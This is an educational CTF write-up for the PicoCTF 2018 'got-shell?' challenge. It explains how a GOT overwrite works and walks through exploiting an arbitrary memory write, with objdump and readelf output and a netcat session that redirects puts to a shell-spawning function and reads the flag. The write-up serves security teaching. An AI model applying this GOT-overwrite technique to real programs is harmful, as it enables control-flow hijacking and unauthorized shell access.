PicoCTF 2018 - got-shell?
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
This is one of those problems that isn’t a “bug” so much as an intentional learning opportunity.
void win() {
system("/bin/sh");
}
// ...
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
In essence, the program is asking you to stomp on any 4 bytes you’d like in memory.
Strategy
This problem gives us a very simple arbitrary memory write exploit. Obviously, given the existence of the win()
function, we should use that memory write to somehow call win()
.
The secret to this problem is understanding the role of the “.got.plt
” section of a binary. The intricacies of how the dynamic linker resolves symbols are probably best left to the experts. If you’re interested in this kind of thing, then I highly recommend the following youtube video about the topic:
Once we understand the role of the “.got.plt
” segment, it will become clear how an arbitrary 4 byte memory write will help us execute the win()
function. If you already know - the try the challenge now by running nc 2018shell.picoctf.com 3582
.
Background Info
In a nutshell, when we link against libc we don’t know ahead of time exactly where it will be in memory. This is particularly true if libc is compiled with PIE, and ASLR is turned on, but in general it is true because we expect libc to be mostly cross-compatible, and your binary may be running against a significantly newer version of libc than what the compiler had access to when it created the binary. We say that the binary is dynamically-linked against libc. The binary contains a list of dynamic symbols that it must “look-up” if/when it needs them. If we need stdin
or stdout
, for instance, then those symbols are located in libc
. If we need the puts
function, then the address we need to call is also inside libc
. Sometimes the symbols will be looked up by ld-linux.so
, which is the dynamic linker/loader used by linux systems when the executable first starts. Other times, the compiler will put in a small shim that will wait to resolve the symbol until the first time it is required (so-called lazy binding).
Generally the addresses of these dynamic symbols will end up in one of two sections in memory: either the “.got
” data section (typically used for the address of global variables), or the “.got.plt
”, which is in data memory (not code, so not in an executable segment) that contains the address of functions. The compiler also emits small “thunks” for every function with dynamic linkage. These “thunks” are small bits of code (in an executable segment) that essentially “jump” to a corresponding address inside the “.got.plt
” table (when lazy-binding is involved they also do a little bit more). When you call puts
from code, you actually call a small “thunk” inside your program that loads the address for the puts
symbol from the “.got.plt
” table and then jumps to it.
Unless extreme measures are taken (so called “FULL-RELRO”), the “.got.plt
” table is writeable (this is required if lazy-binding is to be used). If we over-write data inside the .got.plt
table, then the next time the “thunk” is called, it will actually jump to whatever address we desire. We’ll use this to call the win()
function and grab the flag.
Exploitation
First up, let’s figure out the address of win()
.
$ objdump -t ./auth | grep win
0804854b g F .text 00000019 win
Next, we need to figure out a dynamicly linked function that is called AFTER the memory stomp that we can override with our own function.
*(unsigned int *)address = value;
puts("Okay, exiting now...\n");
exit(1);
In this case, either puts
or exit
should work - lets use puts
. Now, what is the address for the puts
symbol inside of the “.got.plt
” segment?
$ readelf -r ./auth | grep puts
0804a00c 00000107 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
In this case, the answer is 0x0804a00c
, which is where we want to write our new function pointer to win()
, which is at 0x0804854b
.
Lets, try it out by connecting to nc 2018shell.picoctf.com 3582
:
$ nc 2018shell.picoctf.com 3582
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
0x0804a00c
Okay, now what value would you like to write to 0x804a00c
0x0804854b
Okay, writing 0x804854b to 0x804a00c
ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{===REDACTED===}
Awesome! Now that we know more about the “.got
”, let’s head back to the PicoCTF 2018 BinExp Guide and tackle the next challenge.